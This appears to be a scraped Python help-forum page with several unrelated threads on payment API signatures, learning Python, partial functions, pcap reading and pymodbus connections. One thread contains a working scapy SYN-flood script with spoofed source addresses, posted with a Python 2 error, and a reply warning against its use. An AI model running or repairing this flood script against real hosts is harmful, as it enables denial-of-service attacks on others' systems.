|
Googling returns several results
fondy "1014" "invalid signature"
As a guess by briefly looking at the github example first page and from past experience with past services I am guessing the following. (Pretty strong guess.)
1. The 'signature' is generated based on the input that you are pushing in the request.
2. You are generating the signature incorrectly based on what you are actually sending.
If my guess is correct then you need to more closely read what the 'signature' means and how to generate it.
The github link in the above google search suggests and exact algorithm.
|
|
|
|
|
|
Based on Accept purchase - FONDY Documentation[^] I think you are not setting the signature correctly.
based on your code you set signature wrong, I think, it's hard to read. They are expecting a sha1 hash of password|amount|currency|merchant_id|order_id|order_desc. Maybe I am not reading your post correctly because it is all lumped together, but it seems to me that the problem is the signature is not being set to a sha1 hash of those items based on result_2 = cursor.fetchone() and signature = str(result_2[0]) it is set to payment_id.
|
|
|
|
|
which programming language is much better in AI
|
|
|
|
|
The one that creates the best answers.
|
|
|
|
|
I want to learn Python but I don't know where to start to study any programmer to help me. I tried to study on my own but it was too heavy for me.(Quiero aprender Python pero no se por donde empezar a estudiar algun programador que me ayude. Traté de estudiar por mi cuenta, pero era demasiado pesado para mí)
|
|
|
|
|
The best ways to get started are in order:
1) Go on a course. The material will be structured and organised so you get introduced to every part of the language provided you do all the exercises. In addition, if you don;t understand something, a human tutor can explain in different ways until you do.
2) Get a book. The material will be structured and organised so you get introduced to every part of the language provided you do all the exercises. Wrox an Addison Wesley do good ones on most programming languages.
3) Guess, and try to work it out on your own. You might learn something, but it probably won't be what you should be learning. Very poor method, you don't get introduced to anything that you haven't met ...
4) Grab other peoples code and try to understand it. You will learn nothing other than some people release code that doesn't actually work ...
5) Youtube videos. Generally produced by people with no idea how to make a video, how to teach, and most cases how to code; produced for the likes and subscribes as these monetize the channel. There are probably some good ones out there, but they are buried under a sea of rubbish so nobody is likely to find them.
Would I start with Python? No - I'd start with a compiled language like C#, because at least you have to get all the silly syntax errors out of the way before you can run your code. With an interpreted language like Python, something you wrote 2 weeks ago can fail to run when you add new code because that part had never actually been executed before.
"I have no idea what I did, but I'm taking full credit for it." - ThisOldTony
"Common sense is so rare these days, it should be classified as a super power" - Random T-shirt
AntiTwitter: @DalekDave is now a follower!
|
|
|
|
|
|
Rookie question:
Imagine a script that replaces the vowels of curse words with *. Is it possible to match the curse words without case sensitivity but retain the case in the replacement so that the original case format (tone) is retained?
|
|
|
|
|
|
Try this:
table = str.maketrans('aeiouAEIOU', '**********')
for curseword in listofwords:
clearword = curseword.translate(table)
print(clearword)
|
|
|
|
|
Hi All,
Partial Functions I'm sorry can't see any point in them.
from functools import partial
def multiply(x, y):
return x * y
dbl = partial(multiply, 2)
print(dbl(4))
is that supposed to better than multiply(4,2)? or is just a bad example???
|
|
|
|
|
|
Hmmm, a feature that you need on occasions for runtime..?
|
|
|
|
|
I have still not come across a problem that 'needs' this feature. But maybe that's because my blue sky thinking has so many clouds in it.
|
|
|
|
|
|
|
I am sorry whats the use of them in C++ (the first place I came across them) and now in Python what? why? The examples of how to use them not why...
|
|
|
|
|
How to create a anaimations using python
|
|
|
|
|
Hi,
I want to read the pcap file and devide the data into 64byte chunks.
If you need any more info, please let me know.
|
|
|
|
|
That depends on what you're doing with the file. Are you trying to read the file without interpreting the content? Or are you interpreting the content and doing something with that?
|
|
|
|
|
|
I tried to use the following code from github and test SYN flood:
from scapy.all import *
import os
import sys
import random
def randomIP():
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
return ip
def randInt():
x = random.randint(1000,9000)
return x
def SYN_Flood(dstIP,dstPort,counter):
total = 0
print("Packets are sending ...")
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP ()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = dstPort
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
os.system("clear")
dstIP = raw_input ("\nTarget IP : ")
dstPort = input ("Target Port : ")
return dstIP,int(dstPort)
def main():
dstIP,dstPort = info()
counter = input ("How many packets do you want to send : ")
SYN_Flood(dstIP,dstPort,int(counter))
main()
when I run the code, the following error is shown:
Quote: WARNING: No libpcap provider available ! pcap won't be used
'clear' is not recognized as an internal or external command,
operable program or batch file.
Traceback (most recent call last):
File "C:\Users\Admin\Desktop\Python Project\test.py", line 52, in <module>
main()
File "C:\Users\Admin\Desktop\Python Project\test.py", line 48, in main
dstIP,dstPort = info()
^^^^^^
File "C:\Users\Admin\Desktop\Python Project\test.py", line 41, in info
dstIP = raw_input ("\nTarget IP : ")
^^^^^^^^^
NameError: name 'raw_input' is not defined
I'm running this code on windows 11. Why is this error shown?
|
|
|
|
|
By the look of the code that was written for Python version 2.x, and to run under Linux, not Windows. But using such a tool will most likely get you in trouble.
|
|
|
|
|
First of all, I'm not good at English. I'm trying to be politely..
I'm making a program that communicate some gateways using pymodbus(python 3.9, pymodbus 2.5.2).
Recently, when the program is working, I analyzed network via WireShark. and then I realize that each command(read_holding_registers, write_registers, ...) make a connection with server. like this,..
connect()
read_holding_registers()
close()
connect()
read_holding_registers()
close()
...,
Is it right?
I expect this,,
connect()
read_holding_registers(..)
read_holding_registers(..)
read_holding_registers(..) ...
close()
I think, first, making a connection, second, all commands are done, and finally destroy connection.
Of course, all commands are in a same function. but there is a delay time each command.
with ModbusClient('10.181.10.15', 502) as client:
client.connect()
for unit in range(80, 91):
time.sleep(0.3)
data = client.read_holding_registers(600, 40, unit=unit)
print('600 unit id = %d' % unit)
time.sleep(0.3)
data = client.read_holding_registers(700, 30, unit=unit)
print('700 unit id = %d' % unit)
client.close()
|
|
|
|